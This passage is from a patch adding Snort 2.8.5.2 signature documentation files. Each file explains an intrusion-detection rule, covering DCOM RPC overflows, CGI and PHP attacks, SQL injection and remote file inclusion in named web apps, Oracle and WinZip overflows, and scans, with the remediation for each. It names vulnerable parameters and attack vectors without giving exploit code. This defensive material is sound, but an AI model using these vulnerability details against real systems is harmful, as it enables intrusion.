+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1609.txt
+++ snort-2.8.5.2/doc/signatures/1609.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1609
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1718.txt
+++ snort-2.8.5.2/doc/signatures/1718.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1718
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3019.txt
+++ snort-2.8.5.2/doc/signatures/3019.txt
@@ -0,0 +1,67 @@
+Rule: 
+
+--
+Sid: 
+3019
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Samba implementation.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code.
+
+--
+Detailed Information:
+Samba is a file and print serving system for heterogenous networks. It
+is available for use as a service and client on UNIX/Linux systems and as
+a client for Microsoft Windows systems.
+
+Samba uses the SMB/CIFS protocols to allow communication between client
+and server. The SMB protocol contains many commands and is commonly used
+to control network devices and systems from a remote location. A
+vulnerability exists in the way the smb daemon processes commands sent by
+a client system when accessing resources on the remote server.The problem
+exists in the allocation of memory which can be exploited by an attacker
+to cause an integer overflow, possibly leading to the execution of
+arbitrary code on the affected system with the privileges of the user
+running the smbd process.
+
+--
+Affected Systems:
+	Samba 3.0.8 and prior
+
+--
+Attack Scenarios: 
+An attacker needs to supply specially crafted data to the smb daemon to
+overflow a buffer containing the information for the access control lists
+to be applied to files in the smb query.
+
+-- 
+Ease of Attack: 
+Difficult.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000765.txt
+++ snort-2.8.5.2/doc/signatures/100000765.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000765
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection vulnerability in the "LifeType" application running on a webserver. Access to the file "index.php" with SQL commands being passed as the "date" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a remote machine via the "date" parameter in the "index.php" script used by the "LifeType" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to compromise the database backend for the application, the attacker may also be able to execute system binaries or malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using LifeType
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application if user input is not correctly sanitized or checked before passing that input to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/833.txt
+++ snort-2.8.5.2/doc/signatures/833.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+833
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1542.txt
+++ snort-2.8.5.2/doc/signatures/1542.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1542
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/436.txt
+++ snort-2.8.5.2/doc/signatures/436.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+
+Sid:
+436
+
+--
+
+Summary:
+This event is generated when a network host generates an ICMP Redirect for the Type of Service and Host datagram.
+
+--
+
+Impact:
+Redirect messages are normally an indication that a shorter route to a particular destination exists.  
+
+--
+
+Detailed Information:
+ICMP Redirect messages are generated by gateway devices when a shorter route to the destination exists.  When a gateway device receives an Internet datagram from a host on the same network a check is performed to determine the address of the next hop (gateway) in the route to the datagrams destination.  The datagram is then forward to the next hop on the route.  If this gateway device is also on the same network, the gateway device generates an ICMP Redirect message and sends it back to the host that originally generated the traffic.  The ICMP redirect message informs the original host that a shorter route exists and any additional traffic should be forwarded directly to the closer gateway device.
+
+--
+
+Attack Scenarios:
+Attackers on the local subnet could potentially use ICMP Redirect messages to force hosts to use compromised gateway devices.  
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate this type of ICMP datagram.
+
+--
+
+False Positives:
+ICMP Redirect datagrams are legitimate Internet traffic if a shorter route to a destination actually exists.  
+
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+Ingress filtering should be utilized to block incoming ICMP Type 5 datagrams
+
+--
+
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+RFC792
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2229.txt
+++ snort-2.8.5.2/doc/signatures/2229.txt
@@ -0,0 +1,57 @@
+Rule:  
+
+--
+Sid:
+2229
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the PHP application phpBB.
+
+--
+Impact:
+Information disclosure possibly leading to serious system compromise.
+
+--
+Detailed Information:
+Some versions of phpBB Group phpBB suffer from a vulnerability that 
+allows an attacker to inject SQL queries of their choosing.
+
+This can result in the disclosure of passwords and other information 
+stored in the database. The data contained in the database may also be 
+corrupted by a malicious SQL query.
+
+--
+Affected Systems:
+	phpBB Group phpBB 2.0.4, 2.0.5
+
+--
+Attack Scenarios:
+The attacker can execute one of the publicly available exploit scripts.
+--
+Ease of Attack:
+Simple. Exploit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/854.txt
+++ snort-2.8.5.2/doc/signatures/854.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+854
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2899.txt
+++ snort-2.8.5.2/doc/signatures/2899.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2899
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure drop_update_resolution
+. This procedure is included in
+sys.dbms_repcat_conf.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2488.txt
+++ snort-2.8.5.2/doc/signatures/2488.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+2488
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer overflow 
+associated with winzip's processing of certain MIME archive files. 
+
+--
+Impact:
+A successful attack may permit a buffer overflow that allows the execution
+of arbitrary code at the privilege level of the user running winzip.
+
+--
+Detailed Information:
+Winzip is a program that is used for file compression on Windows hosts.
+A buffer overflow exists when parsing specific header fields for certain 
+MIME file types.  An overly long value passed to the Content-Disposition
+name field may trigger the buffer overflow and allow the execution of 
+arbitrary code in the context of the user running winzip.
+
+--
+Affected Systems:
+Winzip 6.x, 7.x, 8.0, 8.1 SR-1, 8.1, Winzip 9.0 beta versions
+
+--
+Attack Scenarios:
+An attacker can entice a user to open a malformed MIME file that will
+invoke winzip to process it, possibly causing a a buffer overflow 
+and the subsequent execution of arbitrary code on the vulnerable host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References
+
+Bugtraq:
+http://securityfocus.com/bid/9758
+
+--
--- snort-2.8.5.2.orig/doc/signatures/458.txt
+++ snort-2.8.5.2/doc/signatures/458.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+
+Sid:
+458
+
+--
+
+Summary:
+This event is generated when an ICMP Type 1 datagram with an undefined ICMP Code is detected on the network. 
+
+--
+
+Impact:
+ICMP Type 1 datagrams are not currently used by any known devices.
+
+--
+
+Detailed Information:
+ICMP Type 1 is not defined for use and is not expected network activity.  Any ICMP datagram with an undefined ICMP Code should be investigated.  
+
+--
+
+Attack Scenarios:
+None known
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate this type of ICMP datagram.
+
+--
+
+False Positives:
+None known
+
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+Ingress filtering should be utilized to block incoming ICMP Type 1 datagrams
+--
+
+Contributors:
+Original Rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+
+Additional References:
+None
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000599.txt
+++ snort-2.8.5.2/doc/signatures/100000599.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000599
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "inv_edit.php" using a remote file being passed as the 
+"admin_template_path" parameter may indicate that an exploitation attempt has 
+been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the "inv_edit.php" 
+script used by the "Indexu" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1670.txt
+++ snort-2.8.5.2/doc/signatures/1670.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1670
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2620.txt
+++ snort-2.8.5.2/doc/signatures/2620.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+2620
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Oracle database implementation.
+
+--
+Impact:
+Serious. Execution of arbitrary code may be possible. A Denial of
+Service (DoS) condition may also be caused.
+
+--
+Detailed Information:
+Oracle databases may use a built-in procedure to assist in database
+replication. The "alter_master_repobject" procedure contains a
+programming error that may allow an attacker to execute a buffer
+overflow attack.
+
+This overflow is triggered by a long string in a parameter for the
+procedure.
+
+If you are running Oracle on a Windows server, make sure that the
+variable $ORACLE_PORTS is set to a value of "any".
+
+--
+Affected Systems:
+        Oracle 9i
+
+--
+Attack Scenarios:
+An attacker can supply a long string to the "type" variable to cause
+the overflow. The result could permit the attacker to gain escalated
+privileges and run code of their choosing. This attack requires an
+attacker to logon to the database with a valid username and password
+combination.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Other:
+http://www.appsecinc.com/Policy/PolicyCheck634.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2992.txt
+++ snort-2.8.5.2/doc/signatures/2992.txt
@@ -0,0 +1,66 @@
+Rule:
+
+--
+Sid:
+2992
+
+--
+Summary:
+This event is generated when an attempt is made to shutdown a Windows
+system via SMB. 
+
+--
+Impact:
+Serious.
+
+--
+Detailed Information:
+This event indicates that an attempt was made to shutdown a Windows
+system via SMB across the network.
+
+It may be possible for an attacker to manipulate a Windows system
+from a remote location. Shutting down a system may lead to a Denial of
+Service for the target host.
+
+--
+Affected Systems:
+	Microsoft Windows systems.
+
+--
+Attack Scenarios:
+An attacker may be able to manipulate a target system using SMB. The
+attacker may gain complete control over the affected system.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the host for signs of system compromise.
+
+Turn off file and print sharing on the target host.
+
+Use a packet filtering firewall to disallow SMB access to the host from
+sources external to the protected network.
+
+Disallow remote registry manipulation.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1219.txt
+++ snort-2.8.5.2/doc/signatures/1219.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1219
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1254.txt
+++ snort-2.8.5.2/doc/signatures/1254.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1254
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a PHP web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a PHP application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the PHP application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running PHP applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying PHP script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2112.txt
+++ snort-2.8.5.2/doc/signatures/2112.txt
@@ -0,0 +1,53 @@
+Rule:
+
+--
+Sid:
+2112
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer
+overflow condition in the Post Office Protocol (POP) command RSET.
+
+--
+Impact:
+Possible remote execution of arbitrary code leading to a remote root 
+compromise.
+
+--
+Detailed Information:
+A vulnerability exists such that an attacker may overflow a buffer by
+sending a line feed character to a POP server via the RSET command.
+
+--
+Attack Scenarios:
+Simple.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+RFC 1939:
+http://www.faqs.org/rfcs/rfc1939.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/111-8.txt
+++ snort-2.8.5.2/doc/signatures/111-8.txt
@@ -0,0 +1,58 @@
+Rule: 
+
+--
+Sid: 
+111-8
+
+-- 
+Summary: 
+This event is generated when the pre-processor stream4
+detects network traffic that may constitute an attack.
+
+-- 
+Impact: 
+This may indicate scanning activity.
+
+--
+Detailed Information:
+The pre-processor stream4 has detected network traffic that may indicate
+a FIN stealth scan is in progress. That is, packets with the FIN flag
+set have been detected that are not part of a normal TCP stream.
+
+--
+Affected Systems:
+	All systems
+
+--
+Attack Scenarios: 
+An attacker may utilize scanning techniques to determine possible points
+of exploitation against a host.
+
+-- 
+Ease of Attack: 
+Simple. Many scanning tools exist.
+
+-- 
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+Corrective Action:
+Check the target host for signs of compromise.
+
+Ensure the system is up to date with any appropriate vendor supplied patches.
+
+--
+Contributors:
+Martin Roesch <roesch@sourcefire.com>
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/465.txt
+++ snort-2.8.5.2/doc/signatures/465.txt
@@ -0,0 +1,54 @@
+Rule:
+
+--
+Sid:
+465
+
+--
+Summary:
+This event is generated when an ICMP echo request is made from a host running the Internet Security Scanner tool.
+
+--
+Impact:
+Information gathering.  An ICMP echo request can determine if a host is active.
+
+--
+Detailed Information:
